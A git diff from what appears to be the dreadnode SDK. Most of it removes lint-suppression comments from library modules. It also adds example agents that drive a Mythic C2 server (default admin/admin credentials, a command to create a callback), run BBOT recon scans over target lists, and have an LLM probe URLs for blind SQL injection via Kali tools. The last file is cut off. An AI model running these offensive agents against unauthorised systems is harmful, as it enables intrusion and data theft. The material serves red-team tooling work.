F401,PLC0415 + import numpy as np # type: ignore[import-untyped,unused-ignore] except ImportError as e: raise ImportError( "Audio processing requires `numpy`. Install with: pip install dreadnode[multimodal]" @@ -78,7 +78,7 @@ def _process_audio_data(self) -> tuple[bytes, str, int | None, float | None]: Returns: A tuple of (audio_bytes, format_name, sample_rate, duration) """ - import numpy as np # noqa: PLC0415 + import numpy as np if isinstance(self._data, str | Path) and Path(self._data).exists(): return self._process_file_path() @@ -94,7 +94,7 @@ def _process_file_path(self) -> tuple[bytes, str, int | None, float | None]: Returns: A tuple of (audio_bytes, format_name, sample_rate, duration) """ - import soundfile as sf # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 + import soundfile as sf # type: ignore[import-not-found,unused-ignore] path_str = str(self._data) audio_bytes = Path(path_str).read_bytes() @@ -113,8 +113,8 @@ def _process_numpy_array(self) -> tuple[bytes, str, int | None, float | None]: Returns: A tuple of (audio_bytes, format_name, sample_rate, duration) """ - import numpy as np # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 - import soundfile as sf # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import-not-found,unused-ignore] + import soundfile as sf # type: ignore[import-not-found,unused-ignore] if self._sample_rate is None: raise ValueError('Argument "sample_rate" is required when using numpy arrays.') @@ -151,7 +151,7 @@ def _generate_metadata( Returns: A dictionary of metadata """ - import numpy as np # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import-not-found,unused-ignore] metadata: dict[str, str | int | float | None] = { "extension": format_name.lower(), diff --git a/dreadnode/data_types/image.py b/dreadnode/data_types/image.py index 9383d85c..eb55bc4e 100644 --- a/dreadnode/data_types/image.py +++ b/dreadnode/data_types/image.py @@ -11,14 +11,14 @@ def check_imports() -> None: try: - import PIL # type: ignore[import,unused-ignore] # noqa: F401,PLC0415 + import PIL # type: ignore[import,unused-ignore] except ImportError as e: raise ImportError( "Image processing requires `pillow`. Install with: pip install dreadnode[multimodal]" ) from e try: - import numpy as np # type: ignore[import,unused-ignore] # noqa: F401,PLC0415 + import numpy as np # type: ignore[import,unused-ignore] except ImportError as e: raise ImportError( "Image processing requires `numpy`. Install with: pip install dreadnode[multimodal]" @@ -83,8 +83,8 @@ def _process_image_data(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] + import PIL.Image # type: ignore[import,unused-ignore] if isinstance(self._data, (str, Path)) and Path(self._data).exists(): return self._process_file_path() @@ -104,7 +104,7 @@ def _process_file_path(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] path_str = str(self._data) image_bytes = Path(path_str).read_bytes() @@ -122,7 +122,7 @@ def _process_pil_image(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] if not isinstance(self._data, PIL.Image.Image): raise TypeError(f"Expected PIL.Image, got {type(self._data)}") @@ -160,8 +160,8 @@ def _process_numpy_array(self) -> tuple[bytes, str, str | None, int | None, int Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] + import PIL.Image # type: ignore[import,unused-ignore] buffer = io.BytesIO() image_format = self._format or "png" @@ -191,7 +191,7 @@ def _process_raw_bytes(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] if not isinstance(self._data, bytes): raise TypeError(f"Expected bytes, got {type(self._data)}") @@ -216,7 +216,7 @@ def _process_base64_string(self) -> tuple[bytes, str, str | None, int | None, in Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] if not isinstance(self._data, str): raise TypeError(f"Expected str, got {type(self._data)}") @@ -232,7 +232,7 @@ def _process_base64_string(self) -> tuple[bytes, str, str | None, int | None, in image_format = self._format or format_part # Decode the base64 string - # TODO(@raja): See if we could optimize this # noqa: TD003 + # TODO(@raja): See if we could optimize this image_bytes = base64.b64decode(encoded) # Open with PIL to get properties @@ -253,8 +253,8 @@ def _generate_metadata( self, image_format: str, mode: str | None, width: int | None, height: int | None ) -> dict[str, str | int | None]: """Generate metadata for the image.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] + import PIL.Image # type: ignore[import,unused-ignore] metadata: dict[str, str | int | None] = { "extension": image_format.lower(), @@ -313,7 +313,7 @@ def _ensure_valid_image_array( self, array: "np.ndarray[t.Any, np.dtype[t.Any]]" ) -> "np.ndarray[t.Any, np.dtype[t.Any]]": """Convert numpy array to a format suitable for PIL.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] grayscale_dim = 2 rgb_dim = 3 diff --git a/dreadnode/data_types/table.py b/dreadnode/data_types/table.py index b1d9b216..2b4c7dcb 100644 --- a/dreadnode/data_types/table.py +++ b/dreadnode/data_types/table.py @@ -78,8 +78,8 @@ def _to_dataframe(self) -> "pd.DataFrame": Returns: A pandas DataFrame representation of the input data """ - import numpy as np # noqa: PLC0415 - import pandas as pd # noqa: PLC0415 + import numpy as np + import pandas as pd if isinstance(self._data, pd.DataFrame): return self._data @@ -134,8 +134,8 @@ def _generate_metadata(self, data_frame: "pd.DataFrame") -> dict[str, t.Any]: Returns: A dictionary of metadata """ - import numpy as np # noqa: PLC0415 - import pandas as pd # noqa: PLC0415 + import numpy as np + import pandas as pd metadata = { "extension": self._format, diff --git a/dreadnode/data_types/video.py b/dreadnode/data_types/video.py index 7b46ee59..ee62a0cb 100644 --- a/dreadnode/data_types/video.py +++ b/dreadnode/data_types/video.py @@ -62,14 +62,14 @@ def to_serializable(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] try: - from moviepy.video.VideoClip import ( # type: ignore[import,unused-ignore,import-untyped] # noqa: PLC0415 + from moviepy.video.VideoClip import ( # type: ignore[import,unused-ignore,import-untyped] VideoClip, ) except ImportError: - VideoClip = None # noqa: N806 + VideoClip = None if isinstance(self._data, (str, Path)) and Path(self._data).exists(): return self._process_file_path() @@ -122,7 +122,7 @@ def _process_numpy_array(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] if not self._fps: raise ValueError("fps is required for numpy array video frames") @@ -137,7 +137,7 @@ def _process_numpy_array(self) -> tuple[bytes, dict[str, t.Any]]: def _extract_frames_from_data(self) -> "list[NDArray[t.Any]]": """Extract frames from numpy array or list data.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] frames = [] rgb_dim = 3 @@ -159,10 +159,10 @@ def _create_video_from_frames_data( self, frames: "list[NDArray[t.Any]]" ) -> tuple[bytes, dict[str, t.Any]]: """Create video file from frames.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] try: - from moviepy.video.io import ( # type: ignore[import,unused-ignore,import-untyped] # noqa: PLC0415 + from moviepy.video.io import ( # type: ignore[import,unused-ignore,import-untyped] ImageSequenceClip, ) except ImportError as e: @@ -211,7 +211,7 @@ def _process_moviepy_clip(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - from moviepy.video.VideoClip import ( # noqa: PLC0415 + from moviepy.video.VideoClip import ( VideoClip, # type: ignore[import,unused-ignore] ) diff --git a/dreadnode/lookup.py b/dreadnode/lookup.py index 1f6bc86a..82008c2e 100644 --- a/dreadnode/lookup.py +++ b/dreadnode/lookup.py @@ -101,7 +101,7 @@ def resolve(self) -> t.Any: if self.process: try: processed_value = self.process(raw_value) - except Exception as e: # noqa: BLE001 + except Exception as e: warn_at_user_stacklevel( f"Error processing Lookup('{self.name}'): {e}", LookupWarning ) diff --git a/dreadnode/main.py b/dreadnode/main.py index 759b1b16..6af636f4 100644 --- a/dreadnode/main.py +++ b/dreadnode/main.py @@ -410,7 +410,7 @@ def api(self, *, server: str | None = None, token: str | None = None) -> ApiClie return self._api def _get_tracer(self, *, is_span_tracer: bool = True) -> "Tracer": - return self._logfire._tracer_provider.get_tracer( # noqa: SLF001 + return self._logfire._tracer_provider.get_tracer( self.otel_scope, VERSION, is_span_tracer=is_span_tracer, @@ -769,7 +769,7 @@ def run( self.configure() if name is None: - name = f"{coolname.generate_slug(2)}-{random.randint(100, 999)}" # noqa: S311 # nosec + name = f"{coolname.generate_slug(2)}-{random.randint(100, 999)}" # nosec return RunSpan( name=name, @@ -942,7 +942,7 @@ def log_params(self, **params: JsonValue) -> None: def log_metric( self, name: str, - value: float | bool, # noqa: FBT001 + value: float | bool, *, step: int = 0, origin: t.Any | None = None, @@ -1033,7 +1033,7 @@ def log_metric( def log_metric( self, name: str, - value: float | bool | Metric, # noqa: FBT001 + value: float | bool | Metric, *, step: int = 0, origin: t.Any | None = None, diff --git a/dreadnode/scorers/classification.py b/dreadnode/scorers/classification.py index c90a6a4b..418081b6 100644 --- a/dreadnode/scorers/classification.py +++ b/dreadnode/scorers/classification.py @@ -33,7 +33,7 @@ def zero_shot_classification( ) try: - from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] # noqa: PLC0415 + from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] pipeline, ) except ImportError: diff --git a/dreadnode/scorers/format.py b/dreadnode/scorers/format.py index 44911cb5..cb80af47 100644 --- a/dreadnode/scorers/format.py +++ b/dreadnode/scorers/format.py @@ -53,7 +53,7 @@ def evaluate(data: t.Any) -> Metric: text = text.removesuffix("\n```") try: - ET.fromstring(text) # noqa: S314 # nosec + ET.fromstring(text) # nosec return Metric(value=1.0) except ET.ParseError as e: return Metric(value=0.0, attributes={"error": str(e)}) diff --git a/dreadnode/scorers/harm.py b/dreadnode/scorers/harm.py index 744d6360..371e558c 100644 --- a/dreadnode/scorers/harm.py +++ b/dreadnode/scorers/harm.py @@ -31,7 +31,7 @@ def detect_harm_with_openai( model: The moderation model to use. name: Name of the scorer. """ - import openai # noqa: PLC0415 + import openai async def evaluate(data: t.Any) -> Metric: text = str(data) diff --git a/dreadnode/scorers/pii.py b/dreadnode/scorers/pii.py index 7ce781aa..e8eaa7bd 100644 --- a/dreadnode/scorers/pii.py +++ b/dreadnode/scorers/pii.py @@ -62,10 +62,10 @@ def detect_pii( def _get_presidio_analyzer() -> "AnalyzerEngine": """Lazily initializes and returns a singleton Presidio AnalyzerEngine instance.""" - global g_analyzer_engine # noqa: PLW0603 + global g_analyzer_engine - from presidio_analyzer import AnalyzerEngine # noqa: PLC0415 - from presidio_analyzer.nlp_engine import NlpEngineProvider # noqa: PLC0415 + from presidio_analyzer import AnalyzerEngine + from presidio_analyzer.nlp_engine import NlpEngineProvider if g_analyzer_engine is None: provider = NlpEngineProvider( @@ -108,7 +108,7 @@ def detect_pii_with_presidio( ) try: - import presidio_analyzer # type: ignore[import-not-found,unused-ignore] # noqa: F401, PLC0415 + import presidio_analyzer # type: ignore[import-not-found,unused-ignore] except ImportError: warn_at_user_stacklevel(presidio_import_error_msg, UserWarning) diff --git a/dreadnode/scorers/rigging.py b/dreadnode/scorers/rigging.py index c3cd0b6d..dc9a6851 100644 --- a/dreadnode/scorers/rigging.py +++ b/dreadnode/scorers/rigging.py @@ -43,7 +43,7 @@ def wrap_chat( """ async def evaluate(chat: "Chat") -> Metric: - from rigging.chat import Chat # noqa: PLC0415 + from rigging.chat import Chat # Fall through to the inner scorer if chat is not a Chat instance if not isinstance(chat, Chat): diff --git a/dreadnode/scorers/similarity.py b/dreadnode/scorers/similarity.py index 116c5067..0eb53864 100644 --- a/dreadnode/scorers/similarity.py +++ b/dreadnode/scorers/similarity.py @@ -217,7 +217,7 @@ def similarity_with_litellm( or self-hosted models. name: Name of the scorer. """ - import litellm # noqa: PLC0415 + import litellm async def evaluate(data: t.Any) -> Metric: nonlocal reference, model diff --git a/dreadnode/serialization.py b/dreadnode/serialization.py index a91b327e..a90610cf 100644 --- a/dreadnode/serialization.py +++ b/dreadnode/serialization.py @@ -77,7 +77,7 @@ def _handle_sequence( non_empty_schemas_found = True schema: JsonDict = {"type": "array"} - if obj_type != list: # noqa: E721 + if obj_type != list: schema["title"] = obj_type.__name__ type_name_map = {tuple: "tuple", set: "set", frozenset: "set", deque: "deque"} schema["x-python-datatype"] = type_name_map.get(obj_type, obj_type.__name__) @@ -153,7 +153,7 @@ def _handle_bytes( try: serialized = obj.decode() if not serialized.isprintable(): - raise ValueError("Non-printable characters found") # noqa: TRY301 + raise ValueError("Non-printable characters found") except (UnicodeDecodeError, ValueError): serialized = base64.b64encode(obj).decode() schema["format"] = "base64" @@ -317,14 +317,14 @@ def _handle_dataclass(obj: t.Any, seen: set[int]) -> tuple[JsonValue, JsonDict]: def _handle_attrs(obj: t.Any, seen: set[int]) -> tuple[JsonValue, JsonDict]: - import attrs # noqa: PLC0415 + import attrs keys = [f.name for f in attrs.fields(obj.__class__)] return _handle_custom_object(obj, keys, seen, "attrs") def _handle_pydantic_model(obj: t.Any, _seen: set[int]) -> tuple[JsonValue, JsonDict]: - import pydantic # noqa: PLC0415 + import pydantic if not isinstance(obj, pydantic.BaseModel): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -345,7 +345,7 @@ def _handle_numpy_array( obj: t.Any, seen: set[int], ) -> tuple[JsonValue, JsonDict]: - import numpy # noqa: ICN001, PLC0415 + import numpy if not isinstance(obj, numpy.ndarray): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -363,7 +363,7 @@ def _handle_pandas_dataframe( obj: t.Any, seen: set[int], ) -> tuple[JsonValue, JsonDict]: - import pandas as pd # noqa: PLC0415 + import pandas as pd if not isinstance(obj, pd.DataFrame): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -378,7 +378,7 @@ def _handle_pandas_series( obj: t.Any, seen: set[int], ) -> tuple[JsonValue, JsonDict]: - import pandas as pd # noqa: PLC0415 + import pandas as pd if not isinstance(obj, pd.Series): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -390,7 +390,7 @@ def _handle_pandas_series( def _handle_dataset(obj: t.Any, _seen: set[int]) -> tuple[JsonValue, JsonDict]: - import datasets # type: ignore[import-untyped] # noqa: PLC0415 + import datasets # type: ignore[import-untyped] if not isinstance(obj, datasets.Dataset): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -453,7 +453,7 @@ def _get_handlers() -> dict[type, HandlerFunc]: # Pydantic with contextlib.suppress(Exception): - import pydantic # noqa: PLC0415 + import pydantic handlers[pydantic.NameEmail] = lambda o, s: _handle_str_based( o, @@ -478,7 +478,7 @@ def _get_handlers() -> dict[type, HandlerFunc]: handlers[pydantic.BaseModel] = _handle_pydantic_model with contextlib.suppress(Exception): - import numpy as np # noqa: PLC0415 + import numpy as np handlers[np.ndarray] = _handle_numpy_array handlers[np.floating] = lambda o, s: _serialize(float(o), s) @@ -496,13 +496,13 @@ def _get_handlers() -> dict[type, HandlerFunc]: ) with contextlib.suppress(Exception): - import pandas as pd # noqa: PLC0415 + import pandas as pd handlers[pd.DataFrame] = _handle_pandas_dataframe handlers[pd.Series] = _handle_pandas_series with contextlib.suppress(Exception): - import datasets # noqa: PLC0415 + import datasets handlers[datasets.Dataset] = _handle_dataset @@ -515,7 +515,7 @@ def _get_handlers() -> dict[type, HandlerFunc]: # Core functions -def _serialize(obj: t.Any, seen: set[int] | None = None) -> tuple[JsonValue, JsonDict]: # noqa: PLR0911 +def _serialize(obj: t.Any, seen: set[int] | None = None) -> tuple[JsonValue, JsonDict]: # Primitives early if isinstance(obj, str | int | float | bool) or obj is None: @@ -642,11 +642,11 @@ def serialize(obj: t.Any, *, schema_extras: JsonDict | None = None) -> Serialize data_hash = EMPTY_HASH if serialized is not None: - data_hash = hashlib.sha1(serialized_bytes).hexdigest()[:16] # noqa: S324 # nosec (using sha1 for speed) + data_hash = hashlib.sha1(serialized_bytes).hexdigest()[:16] # nosec (using sha1 for speed) schema_hash = EMPTY_HASH if schema and schema != EMPTY_SCHEMA: - schema_hash = hashlib.sha1(schema_str.encode()).hexdigest()[:16] # noqa: S324 # nosec + schema_hash = hashlib.sha1(schema_str.encode()).hexdigest()[:16] # nosec return Serialized( data=serialized, diff --git a/dreadnode/task.py b/dreadnode/task.py index 9c41523f..6040c6be 100644 --- a/dreadnode/task.py +++ b/dreadnode/task.py @@ -422,7 +422,7 @@ async def try_run(self, *args: P.args, **kwargs: P.kwargs) -> TaskSpan[R] | None """ try: return await self.run(*args, **kwargs) - except Exception: # noqa: BLE001 + except Exception: warn_at_user_stacklevel( f"Task '{self.name}' ({self.label}) failed:\n{traceback.format_exc()}", TaskFailedWarning, diff --git a/dreadnode/tracing/exporters.py b/dreadnode/tracing/exporters.py index 0d91f726..0d95eea3 100644 --- a/dreadnode/tracing/exporters.py +++ b/dreadnode/tracing/exporters.py @@ -52,8 +52,8 @@ def file(self) -> IO[str]: def _receive_metrics( self, metrics_data: MetricsData, - timeout_millis: float = 10_000, # noqa: ARG002 - **kwargs: t.Any, # noqa: ARG002 + timeout_millis: float = 10_000, + **kwargs: t.Any, ) -> None: if metrics_data is None: return @@ -64,13 +64,13 @@ def _receive_metrics( with self._lock: self.file.write(json_str + "\n") self.file.flush() - except Exception as e: # noqa: BLE001 + except Exception as e: logger.error(f"Failed to export metrics: {e}") def shutdown( self, - timeout_millis: float = 30_000, # noqa: ARG002 - **kwargs: t.Any, # noqa: ARG002 + timeout_millis: float = 30_000, + **kwargs: t.Any, ) -> None: with self._lock: if self._file: @@ -99,14 +99,14 @@ def export(self, spans: Sequence[ReadableSpan]) -> SpanExportResult: with self._lock: self.file.write(json_str + "\n") self.file.flush() - except Exception as e: # noqa: BLE001 + except Exception as e: logger.error(f"Failed to export spans: {e}") return SpanExportResult.FAILURE return SpanExportResult.SUCCESS def force_flush( self, - timeout_millis: float = 30_000, # noqa: ARG002 + timeout_millis: float = 30_000, ) -> bool: return True # We flush above @@ -138,14 +138,14 @@ def export(self, batch: Sequence[LogData]) -> LogExportResult: with self._lock: self.file.write(json_str + "\n") self.file.flush() - except Exception as e: # noqa: BLE001 + except Exception as e: logger.error(f"Failed to export logs: {e}") return LogExportResult.FAILURE return LogExportResult.SUCCESS def force_flush( self, - timeout_millis: float = 30_000, # noqa: ARG002 + timeout_millis: float = 30_000, ) -> bool: return True diff --git a/dreadnode/tracing/span.py b/dreadnode/tracing/span.py index 7dc086b2..ca4e4ad7 100644 --- a/dreadnode/tracing/span.py +++ b/dreadnode/tracing/span.py @@ -570,7 +570,7 @@ def log_object( # Create a composite key that represents both data and schema hash_input = f"{data_hash}:{schema_hash}" - composite_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # noqa: S324 # nosec + composite_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # nosec # Store schema if new if schema_hash not in self._object_schemas: @@ -735,7 +735,7 @@ def metrics(self) -> MetricsDict: def log_metric( self, name: str, - value: float | bool, # noqa: FBT001 + value: float | bool, *, step: int = 0, origin: t.Any | None = None, @@ -759,7 +759,7 @@ def log_metric( def log_metric( self, name: str, - value: float | bool | Metric, # noqa: FBT001 + value: float | bool | Metric, *, step: int = 0, origin: t.Any | None = None, @@ -879,9 +879,9 @@ def __enter__(self) -> te.Self: self._parent_task = current_task_span.get() if self._parent_task is not None: self.set_attribute(SPAN_ATTRIBUTE_PARENT_TASK_ID, self._parent_task.span_id) - self._parent_task._tasks.append(self) # noqa: SLF001 + self._parent_task._tasks.append(self) elif self._run: - self._run._tasks.append(self) # noqa: SLF001 + self._run._tasks.append(self) self._context_token = current_task_span.set(self) return super().__enter__() @@ -1011,7 +1011,7 @@ def metrics(self) -> dict[str, list[Metric]]: def log_metric( self, name: str, - value: float | bool, # noqa: FBT001 + value: float | bool, *, step: int = 0, origin: t.Any | None = None, @@ -1033,7 +1033,7 @@ def log_metric( def log_metric( self, name: str, - value: float | bool | Metric, # noqa: FBT001 + value: float | bool | Metric, *, step: int = 0, origin: t.Any | None = None, diff --git a/dreadnode/util.py b/dreadnode/util.py index b88640d3..8143bbca 100644 --- a/dreadnode/util.py +++ b/dreadnode/util.py @@ -40,7 +40,7 @@ is_user_code = _is_user_code -import dreadnode # noqa: E402 +import dreadnode warn_at_user_stacklevel = _warn_at_user_stacklevel @@ -108,7 +108,7 @@ def safe_repr(obj: t.Any) -> str: try: result = repr(obj) - except Exception: # noqa: BLE001 + except Exception: result = "" if result: @@ -116,7 +116,7 @@ def safe_repr(obj: t.Any) -> str: try: return f"<{type(obj).__name__} object>" - except Exception: # noqa: BLE001 + except Exception: return "" @@ -213,7 +213,7 @@ async def join_generators( *generators: The asynchronous generators to join. """ - FINISHED = object() # sentinel object to indicate a generator has finished # noqa: N806 + FINISHED = object() # sentinel object to indicate a generator has finished queue = asyncio.Queue[T | object | Exception](maxsize=1) async def _queue_generator( @@ -223,7 +223,7 @@ async def _queue_generator( async with aclosing(generator) as gen: async for item in gen: await queue.put(item) - except Exception as e: # noqa: BLE001 + except Exception as e: await queue.put(e) finally: await queue.put(FINISHED) @@ -276,11 +276,11 @@ def log_internal_error() -> None: try: current_test = os.environ.get("PYTEST_CURRENT_TEST", "") reraise = bool(current_test and "test_internal_exception" not in current_test) - except Exception: # noqa: BLE001 + except Exception: reraise = False if reraise: - raise # noqa: PLE0704 + raise with suppress_instrumentation(): # prevent infinite recursion from the logging integration logger.exception( @@ -313,22 +313,22 @@ def _internal_error_exc_info() -> SysExcInfo: # Now add useful outer frames that give context, but skipping frames that are just about handling the error. frame = inspect.currentframe() # Skip this frame right here. - assert frame # noqa: S101 + assert frame frame = frame.f_back if frame and frame.f_code is log_internal_error.__code__: # pragma: no branch # This function is always called from log_internal_error, so skip that frame. frame = frame.f_back - assert frame # noqa: S101 + assert frame if frame.f_code is _HANDLE_INTERNAL_ERRORS_CODE: # Skip the line in _handle_internal_errors that calls log_internal_error frame = frame.f_back # Skip the frame defining the _handle_internal_errors context manager - assert frame # noqa: S101 - assert frame.f_code.co_name == "__exit__" # noqa: S101 + assert frame + assert frame.f_code.co_name == "__exit__" frame = frame.f_back - assert frame # noqa: S101 + assert frame # Skip the frame calling the context manager, on the `with` line. frame = frame.f_back else: @@ -357,11 +357,11 @@ def _internal_error_exc_info() -> SysExcInfo: ) frame = frame.f_back - assert exc_type # noqa: S101 - assert exc_val # noqa: S101 + assert exc_type + assert exc_val exc_val = exc_val.with_traceback(tb) - return exc_type, exc_val, tb # noqa: TRY300 - except Exception: # noqa: BLE001 + return exc_type, exc_val, tb + except Exception: return original_exc_info @@ -369,7 +369,7 @@ def _internal_error_exc_info() -> SysExcInfo: def handle_internal_errors() -> t.Iterator[None]: try: yield - except Exception: # noqa: BLE001 + except Exception: log_internal_error() @@ -431,7 +431,7 @@ def test_connection(endpoint: str) -> bool: try: parsed = urlparse(endpoint) socket.create_connection((parsed.hostname, parsed.port or 443), timeout=1) - except Exception: # noqa: BLE001 + except Exception: return False return True diff --git a/examples/agents/apollo/__init__.py b/examples/agents/apollo/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/apollo/agent.py b/examples/agents/apollo/agent.py new file mode 100644 index 00000000..ec5f6e8e --- /dev/null +++ b/examples/agents/apollo/agent.py @@ -0,0 +1,32 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.mythic.apollo.tool import ApolloTool + + +async def create_agent() -> Agent: + agent = Agent( + name="apollo-agent", + description="An agent that uses the Apollo toolset to interact with a Mythic C2 server.", + model="gpt-4", + tools=[ + await ApolloTool.create( + username="admin", + password="admin", + server_url="http://localhost:7443", + server_ip="localhost", + server_port=7443, + ) + ], + ) + + return agent + + +async def main() -> None: + agent = await create_agent() + agent.run("Create a new Apollo callback and execute a command to list directory contents.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/bbot/__init__.py b/examples/agents/bbot/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py new file mode 100644 index 00000000..64fedaca --- /dev/null +++ b/examples/agents/bbot/agent.py @@ -0,0 +1,142 @@ +import asyncio +from pathlib import Path + +import ray +from cyclopts import App +from ray import serve +from rich.console import Console + +from dreadnode.agent.tools.bbot.tool import BBotTool + +console = Console() + +app = App() + + +@app.command +async def modules() -> None: + BBotTool.get_modules() + + +@app.command +def presets() -> None: + BBotTool.get_presets() + + +@app.command +async def flags() -> None: + BBotTool.get_flags() + + +@app.command +async def events() -> None: + BBotTool.get_events() + + +@app.command +async def scan( + targets: Path, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: str | None = None, +) -> None: + if isinstance(targets, Path): + with Path.open(targets) as f: + loaded_targets = f.read().splitlines() + + if not targets: + console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") + return + + ray.init(address="auto", namespace="bbot-scan-app") + + BBotApplication = serve.deployment( + BBotTool, name="BBotService", num_replicas=2, max_queued_requests=-1 + ) + + serve.run(BBotApplication.bind(), name="BBotApp", route_prefix="/bbot") + handle = serve.get_deployment_handle(deployment_name="BBotService", app_name="BBotApp").options( + stream=True + ) + + async def _process_single_target(target: str) -> None: + try: + result_generator_ref = handle.run.remote( + target=target, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) + async for event in result_generator_ref: + console.print(f"[bold blue]>{target}:[/bold blue] {event}") + except Exception as e: + console.print(f"[bold red]ERROR processing {target}:[/bold red] {e}") + + console.print(f"[*] Starting BBOT scan on {len(loaded_targets)} targets...") + + tasks = [asyncio.create_task(_process_single_target(target)) for target in loaded_targets] + + await asyncio.gather(*tasks) + + console.print("\n[*] All scans complete.") + + +# tool = await BBotTool.create( +# targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config +# ) + +# dn.configure(server="https://platform.dreadnode.io", project="bount-rea-2") + +# with dn.run(tool.scan.name, tags=presets): +# for i, j in enumerate(loaded_targets): +# dn.log_param(f"target_{i}", j.strip()) + +# for p in presets: +# dn.log_param("preset", p) + +# dn.log_param( +# # targets=loaded_targets, +# # presets=presets, +# # modules=modules, +# # flags=flags, +# # config=config, +# "scan", +# tool.scan.id, +# ) + +# events = tool.run() + +# async for event in events: +# with dn.task_span(event.type): +# df = pd.json_normalize(event.json()).set_index("type") +# log = event.json(siem_friendly=True) +# log2 = event.json() +# console.print(df) +# dn.log_output("event", log) +# dn.log_output("event-siem", log2) +# dn.log_outputs(log) +# dn.log_outputs(log2) + +# dn.log_metric(event.type, 1, mode="count", to="run") +# # Add your agents here to process events +# if event.type == "WEBSCREENSHOT": +# console.print(df) + +# image_path = f"{tool.scan.core.scans_dir}/{tool.scan.name}/{event.data['path']}" +# console.print(event.json()) +# console.print( +# f"[bold green]Web Screenshot saved to:[/bold green] {event.data['path']}" +# ) +# dn.log_output( +# "webscreenshot", +# dn.Image(image_path), +# ) +# dn.log_artifact(image_path) +# # await agent.run(...) + + +# Usage +if __name__ == "__main__": + app() diff --git a/examples/agents/blind_sqli/agent.py b/examples/agents/blind_sqli/agent.py new file mode 100644 index 00000000..ea349557 --- /dev/null +++ b/examples/agents/blind_sqli/agent.py @@ -0,0 +1,289 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +dn.configure(server=None, token=None, project="blind-sqli-agent", console=False) + +console = Console() + +@dn.task(name="Analyze Blind SQLi Finding", label="analyze_blind_sqli_finding") +async def analyze_sqli_finding(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a BBOT SQL injection finding for blind exploitability.""" + sqli_agent = create_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Focus on BLIND SQL injection techniques. Test for timing attacks and response analysis. " + f"Start with baseline establishment and adapt based on response patterns you observe." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + 